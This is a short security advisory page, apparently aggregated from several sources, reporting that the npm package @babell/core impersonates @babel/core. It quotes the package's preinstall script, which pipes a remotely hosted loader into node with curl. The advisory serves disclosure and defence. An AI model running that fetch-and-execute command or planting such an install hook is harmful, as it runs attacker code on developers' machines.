Malicious Package

Overview @babell/core is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

Malicious code in @babell/core (npm)

Source: amazon-inspector ae256b9ff55b98040ea9cb6561edfe1c4e2db94bd111fb19a449651bd6b5d44b The package's package.json defines a preinstall lifecycle script that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, downloadin...

MAL-2026-17497 Malicious code in @babell/core (npm)

@babell/[email protected] impersonates @babel/core it copies the code and metadata of @babel/core and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L...

Malicious code in @babell/core (npm)

@babell/[email protected] impersonates @babel/core it copies the code and metadata of @babel/core and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L...